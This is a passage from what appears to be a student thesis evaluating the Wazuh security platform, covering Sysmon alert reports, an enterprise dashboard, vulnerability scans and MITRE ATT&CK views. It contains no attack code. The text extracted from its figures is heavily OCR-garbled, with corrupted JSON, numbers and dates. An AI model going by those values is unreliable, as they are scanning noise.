we uid”: " {5770385f-c22a-43ep-bf4c-06T5
698ffbd9}”, "eventID”:"1", "versio
n":"5", "level":"4" "task":"1", "opco
de”:"@8", "keywords" :"@x8060000008868
ara" "svstemTime" :"2A27-AT7-1RT1A:5
3 Jul 19, 2822 @ 15:88:28.436 Sysmon - Suspiciou 12 61638 Microsoft-Windows-Sysmon/Op  {"win":{"system":{"providerName":"M
s Process - dllhos erational icrosoft-Windows-Sysmon”, "providerG
t.exe uid” :"{5778385f-c22a-43eB-bf4c-B6T5

698ffbda}”, "eventID™:"1", "versio
n":"s", "level":"4", "task":"1", "opco
de”: "keywords" : "8x5000000000068
200" . "svstemTime":"2622-87-18T10:5

Figure 77: Events detected by Sysmon using Wazuh

Wazuh can generate daily/monthly/annual reports about all events detected by it during this specific
period, as can be seen in the following example where we have created a report about Wazuh detection
and some of them by using the Sysmon tool between 12-07-2022 and 19-07-2022.
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info@wazuh.com
® https://wazuh.com

Security events report

ID Name IP Version Manager OS Registration date Last keep alive
042 Asswad 10.20.255.166 Wazuh v4.3.1 wazuh Microsoft Windows 10 May 2, 2022 @ Jul 19, 2022 @
Education 10.0.19044 15:38:00.000 17:02:53.000

Groups: windows, default

Browse through the security alerts, identifying issues and threats in the environment.

® 2022-07-12T17:03:39t0 2022-07-19T17:03:39

Q manager.name: wazuh AND agent.id: 042 AND rule.level: 12-null

Alerts

150

Count

L

2022-07-14 00:00 2022-07-16 00:00 2022-07-18 00:00

timestamp per 3 hours

Figure 78: All alerts in a week — Wazuh Security Event Report
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Alert Groups Evolution

Count

400

300

200

100

@ sysmon
® SYSMON_process-anc.
® windows

® sysmon_eid11_detectio

| A

2022-07-14 00:00 2022-07-16 00:00 2022-07-18 0000
timestamp per 3 hours

Figure 79: Alert Groups Evolution - Wazuh Security Event Report

® Sysmon - Suspicious -
@ Executable file droppes
@ Sysmon - Suspicious -

@ Sysmon - Suspicious -

Figure 80: Top 5 alerts - Wazuh Security Event Report
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@ sysmon
@ sysmon_process-ano--
@ windows

@ sysmon_eid11_detecti--

Figure 81: Top 5 rule groups - Wazuh Security Event Report

Alerts summary

Rule ID Description Level Count
61638 Sysmon - Suspicious Process - dllhost.exe 12 309
92204 Executable file dropped in folder commonly used by malware. 15 156
61632 Sysmon - Suspicious Process - smss.exe 12 7
61640 Sysmon - Suspicious Process - explorer.exe 12 1

Table 5: Alerts summary - Wazuh Security Event Report

Groups summary

Group Count

Sysmon 317

sysmon_process-anomalies 317

Windows 317

sysmon_eid11_detections 156

Table 6: Groups summary - Wazuh Security Event Report

At the end of this section of the Sysmon Event Channel collection, we would like to mention that MSDT
(Microsoft Windows Support Diagnostic Tool) is vulnerable to Remote Code Execution (RCE)

vulnerabilities that have been exploited as early as May 2022.

Follina is the name given to this remote code execution (RCE) vulnerability, so Sysmon must be
installed on the monitored endpoints to detect this kind of vulnerability. As a result, using a tool like

Sysmon to detect malicious activity is extremely beneficial.
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3.3.7 Conclusion
Our private information is at risk from several threats and malicious actors on the Internet. Therefore,

the environment can be remedied with many capabilities with Wazuh.

We have previously demonstrated how Wazuh detects a widely available attack in its different stages
while enriching the alert with MITRE taxonomies. We can then use Wazuh EDR capabilities to

configure remediation actions to ensure the system remains secure.
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4 Real-Word experience

In previous chapters, we discussed some theoretical aspects and conducted laboratory experiments.
Having access to the server (Wazuh manager) used by Verxo, we can show some real-time work and
events that occurred at the enterprise level, which uses Wazuh to protect their clients' networks. Here,
we would like to emphasize dealing with many servers and clients, which means that more data is

available for Wazuh to be analyzed with respect to what we have seen in the previous experiments.

Additionally, we will present some important figures that contain useful information and details about

understanding what is happening on the client's systems.

Let us start with the security events because that is the dashboard shown in the figure below.

= wazuh. -~

20 327612 2199806

'-

8634782

- "
-
-- - n = s
- - - - .
= II7 = I B I —— = -II= - I
==illlz -=NAEN_ -=BRBN_ —=ciRic---ERNEREEcElNE -=ld.

Figure 82: Security Events

The figure above shows that it has far more events than the one we had previously in our Lab. This is a
summary of a certain seven-day event, as we can specify the actual time in terms of what we want to

display and show about security events.

It appears that there are many security events from our client's agents. In this case, we have not chosen

a specific agent; instead, we are monitoring the events of all agents on the Wazuh server.

The dashboard is showing the Alert level evolution, so in our case, we have the level of the alert of
each event associated with the rule triggered; each color denotes a different level; it is also evident that
we have the count and the actual time; therefore, it informs us of the times when we are experiencing a

high volume of attacks.
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On the tope, we can find the total amount of events (8634782), level 12 or above alerts are set to (20),
the authentication failure has been set to (327612), and authentication success (2199806).

The top 5 agents are those agents who have experienced the most security events, and they are listed

at the bottom left. The alert evolution for the top 5 agents may be seen in the bottom right corner.

On the right side we can see the Top MITRE ATT&CKS, and we can drill down to each of the MITRE
ATT&ACS techniques and tactics (Network Denial of service, Remote services, stored data, brute

force, valid accounts, etc.)

At the very bottom of the figure, we can see our security alerts; and the wonderful thing about this is
that we can see that there is the time, Agent ID, Tactics, Techniques columns, the Discerption, the

Level, and the rule ID columns, which are great stuff to be noticed and analyzed.

The figure below will appear if we select the level 12 or above alerts.

Alert level evhution < Top MITRE ATTECKS

. ® Frocess st

“hina A d ul

vvvvvvvvv

Security Alerts

Figure 83: Level 12 or above alert
It is clear from the pie chart of the top 5 agents that there were only two agents who experienced the
event that set off alert 12, which is a Sysmon-suspicious process according to the description. The other
agent had the Technique T1055, about which we can learn more by clicking on it; the same thing for

the rule-triggered ID.
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= wazuh. v wuodues sec

Inventory Events

Vulnerabilities @

SEVERITY DETAILS
I} ® Crical (9) Critical High Medium Low

®  High (67) 4 0/ 75 1

@ resim(s) Last full scan Last partial scan

® Low(y Sep 29, 2022 @ 10:12:12.000 Sep 29, 2022 @ 10:22:54.000

Vulnerabilities (147)

Filter or search
Name T Version Architecture Severity CVE CV 552 Score
Moxzilla Firefox 78.0.2 (x64 it) 7802 Bd Medium 43
Mozilla Firafox 78.0.2 (x64 it) 7802 64 High 51

Figure 84: Vulnerabilities in a specific client

£V5S3 Score

SUMMARY

) SEC 02) &

Name o

@ Mozila Firstex 73.0.2 (<34 1) (145)

®  \Windows Server 2016 (2)

b Export formatted

Another crucial statistic relates to vulnerability detection on a particular client, which effectively

searches the systems on which the agent is installed and ranks them according to the severity of the

vulnerabilities (critical, high, medium, and low).

When we click on a vulnerability, we may learn more about it. There are four different vulnerability
severity levels: critical (4), high (67), medium (75), and low (1). The Mozilla Firefox 78.0.2 (x64 it)
packages feature high and medium vulnerabilities, as seen in the bottom and top right blocks

(Summary). More useful information and details can be known about specific vulnerabilities, such as

agent IP, criticality level, etc.

The following figure will also show the MITRE ATT&CK for a particular client.

WQazuh. v~ wooues seca

Alerts evolution over time

022-08-0300:00  2022-08-07 00:00

Rule lovel by attack

N —

MITRE ATTECK @

@ Valid Accounts

Modify Registry

f @ Siorea Data Manipu..
e 55 .
i
/ @ Wincows Service
2022-08-11 000X 0 2022099190000  2022:08-230000  2022-09-27 D00

timestamp per 12 hours

7
@ valid Accounts @ vl Accounts
Modify Registry 1500 - Maily Registry
@ Stored Data Manipu.. - @ Stored Data Manipu.

@ Pass the Hash

000
- @ Fass the Hash
@ Account Access Re. 500 @ Account Access Re.
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®s
e

rule. mitre.tactic: Descending

Figure 85: MITRE ATT&CK for a specific client

Top tactics

<
S

MITRE attacks by tactic s Rule level by tactic

>

@ Defense Evasion

® Impact
@ Lateral Movement

@ Privilege Escalalion
@ Initial Access

@ Impact

e3

e

o6

We are displaying the dashboard for 30 days; it informs us of the types of alerts: File Detection, Modify

Registry, and Data Destruction.
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We can search for specific tactics and techniques, such as a brute force attack alert, password cracking,
malicious file, etc. More descriptions are available about every tactic and technique in Wazuh and could
be reached by the rule.mitre.id, which is unique for each.

As a result, customers are not obligated to pay a high price for this product; since our systems are

vulnerable to cybercrime in real life, it is critical to have a solution like Wazuh to secure them.

With real-work experience, students can apply what they have learned. Through practical opportunities,
students can gain experience working as part of a team in a fast-paced business environment. As a result,

they will gain a deeper understanding of a company's culture and working practices.
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5 Conclusion and Future Works

In the majority of the networks (companies, banks, hospitals, universities, factories, Industries, etc.),
we must constantly monitor network security against any type of attack using prevention methods based
on IPS, SOC, and NTA. We must select the most appropriate tool for our needs.

This thesis aimed to show that Wazuh is a powerful tool that we can use to achieve our goals in the best
way possible; it has a clear GUI that makes engineers deal with it easily, and it can be configured in a
way that suits the institution's requirements to protect its IT infrastructure and avoid cybercrime; it is
an open-source tool offering high-quality support and free access. It has one of the fastest-growing
communities with very clear documentation, which makes user access more flexible and easier to

understand threat detection, vulnerability management, and prevention methods.

The lab we set up to test Wazuh's capabilities helped us demonstrate the goal of this thesis, which is to
show how we can utilize this tool to protect our network against some of the current cyberattacks that
target our system, exploiting the Vulnerabilities in it.

Nowadays, cloud security is one of the most important platforms that should be monitored and protected
from cyberattacks. Attackers could threaten many cloud servers to steal a large amount of data. As a
result, we strongly recommend Wazuh as a solution for monitoring clouds, such as the 365-office cloud,
which is one of the most widely used platforms designed to simplify data sharing, and that access to
large amounts of sensitive data is a common target for cybercriminals [50]. The Wazuh security
platform, which we did not test in this thesis, provides a module to monitor and secure our clouds, such
as Amazon Web Service (AWS), Microsoft Azure, and Google cloud, and can be used to monitor multi-

cloud and hybrid environments with continuous threat detection and configuration compliance.

Based on what we have learned while writing this dissertation, we have noticed that Wazuh is not
capable of monitoring the packet sent to a specific available device on the same network using the Nmap
(Network Mapper) command, which could be a start for an attack, we have tried to monitor these
packets using Sysmon, but the goal is not achieved with Sysmon tool. Therefore, we can see that Wazuh

could not trigger any alerts according to these kinds of packets.

We can consider the Ntop tool, which could be a solution configured in Wazuh to read and analyze
these specific packets and generate alarms. However, unfortunately, we did not have the time to run an

experiment with it, and we left it as future work.
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